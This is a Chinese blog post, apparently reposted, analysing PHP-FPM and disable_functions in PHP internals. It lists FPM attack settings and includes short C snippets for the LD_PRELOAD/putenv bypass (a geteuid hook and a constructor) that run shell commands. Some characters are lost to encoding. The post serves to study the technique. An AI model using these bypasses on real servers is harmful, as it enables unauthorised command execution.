php内核分析-fpm和df的问题思考
這篇文章靈感是來自看了一篇文章《PHP內(nèi)核分析-FPM和disable-function安全問題》然后其中學(xué)習(xí)到了很多東西。該篇文章已經(jīng)非常詳細了,所以自己就簡單的記錄一下自己的思考,如文中有錯誤希望師傅們指出。
介紹
php中的disable_function是EG(ini_directives)來獲得的,而phpinfo根據(jù) EG(ini_directives) 中獲取信息并打印。
然后通過zend_disable_function()函數(shù)去禁止,簡單的說就是通過 func->handler = ZEND_FN(display_disabled_function); 修改了handler。
而phpinfo?直是查看服務(wù)器php信息的可靠?式,但是在包含修改 disable_function的參數(shù)攻擊FPM后,phpinfo已經(jīng)顯示修改,但是測試函數(shù)仍然禁?。在fpm攻擊的配置中 EG(ini_directives) 找到表示 disable_functions 的 ini_entry ,然后修改值為我們傳?的內(nèi)容,?phpinfo展示的值就源于這?。
還會將要禁?的函數(shù)字符串傳?fpm_php_disable 函數(shù),再調(diào)? zend_disable_function 函數(shù)修改 func->handler完成禁?。
所以說,包含 PHP_VALUE == disable_function= 的惡意FastCgi攻擊FPM時,只能修改展示phpinfo信息
的 EG(ini_directives) ,也就是表?修改,對于已經(jīng)禁?的函數(shù)?效的,但是可以通過FPM禁?新的函數(shù)。
總結(jié)
disable_function 的本質(zhì)是修改 func->handler 完成對函數(shù)的禁?。
包含 PHP_VALUE ==disable_function= 的惡意FastCgi攻擊FPM時,只能修改展示phpinfo信息的 EG(ini_directives) ,也就是表?修改,對于已經(jīng)禁?的函數(shù)?效的,但是可以通過FPM禁?新的函數(shù)。
攻擊FPM?較常?的有效利?選項是 extension_dir +extension 、 open_basedir 、 allow_url_include = On + auto_prepend_file =php://input 。
思考
那么我看網(wǎng)上有一下介紹是通過fpm來繞過disable_function。那么是怎么實現(xiàn)??底層到底是什么?
這里給出自己的答案,之所以說fpm能繞過df是因為通過配置 PHP_VALUE ==extension_dir +extension,然后我們上傳我們的so來加載執(zhí)行。那為什么說加載so就可以繞過???
是因為df是在模塊初始化階段的最后一步 加載so是在這個之前 可能是因為這個導(dǎo)致的rce(圖片是來自上述文章)
下面是清楚點的。
LD_PRELOAD與putenv的配合使用,即LD_PRELOAD這個環(huán)境變量指定路徑的文件(也是so文件),會在其他文件被調(diào)用前,最先被調(diào)用而putenv可以設(shè)置環(huán)境變量。
而一葉飄零師傅文章中介紹了某一個php函數(shù),我認為是在執(zhí)行的過程中能fork子進程的函數(shù)(啟動外部程序的函數(shù)并能執(zhí)行)然后我們hook該fork子進程,進行重寫,完成rce。
例如:mail(‘’,’’,’’,’’);
#include <stdlib.h> #include <stdio.h> #include <string.h> void payload() {system("ls / > /tmp/sky"); } int geteuid() {if (getenv("LD_PRELOAD") == NULL) { return 0; }unsetenv("LD_PRELOAD");payload(); } //編譯成so文件 //gcc -c -fPIC hack.c -o hack.so還有imap_mail()、mb_send_mail()和error_log()函數(shù)等
然后還有一個進化版本
#define _GNU_SOURCE #include <stdlib.h> #include <unistd.h> #include <sys/types.h>__attribute__ ((__constructor__)) void angel (void){unsetenv("LD_PRELOAD");system("ls"); }其中__attribute__ ((constructor))有如下說明
1.It’s run when a shared library is loaded, typically during program startup.
2.That’s how all GCC attributes are; presumably to distinguish them from function calls.
3.The destructor is run when the shared library is unloaded, typically at program exit.
1.它在加載共享庫時運行,通常在程序啟動時運行。//putenv(“LD_PRELOAD=hack.so”);
2.所有GCC屬性都是這樣的;可能是為了將它們與函數(shù)調(diào)用區(qū)分開來。
3.析構(gòu)函數(shù)在卸載共享庫時運行,通常在程序退出時運行。
所以我們就不需要找一個函數(shù)去觸發(fā)了。
【不學(xué)的不要點】
總結(jié)
以上是生活随笔為你收集整理的php内核分析-fpm和df的问题思考的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 路由器固件下的小试牛刀,与漏洞相关的经验
- 下一篇: 渗透测试之子域到父域的横向移动(Sid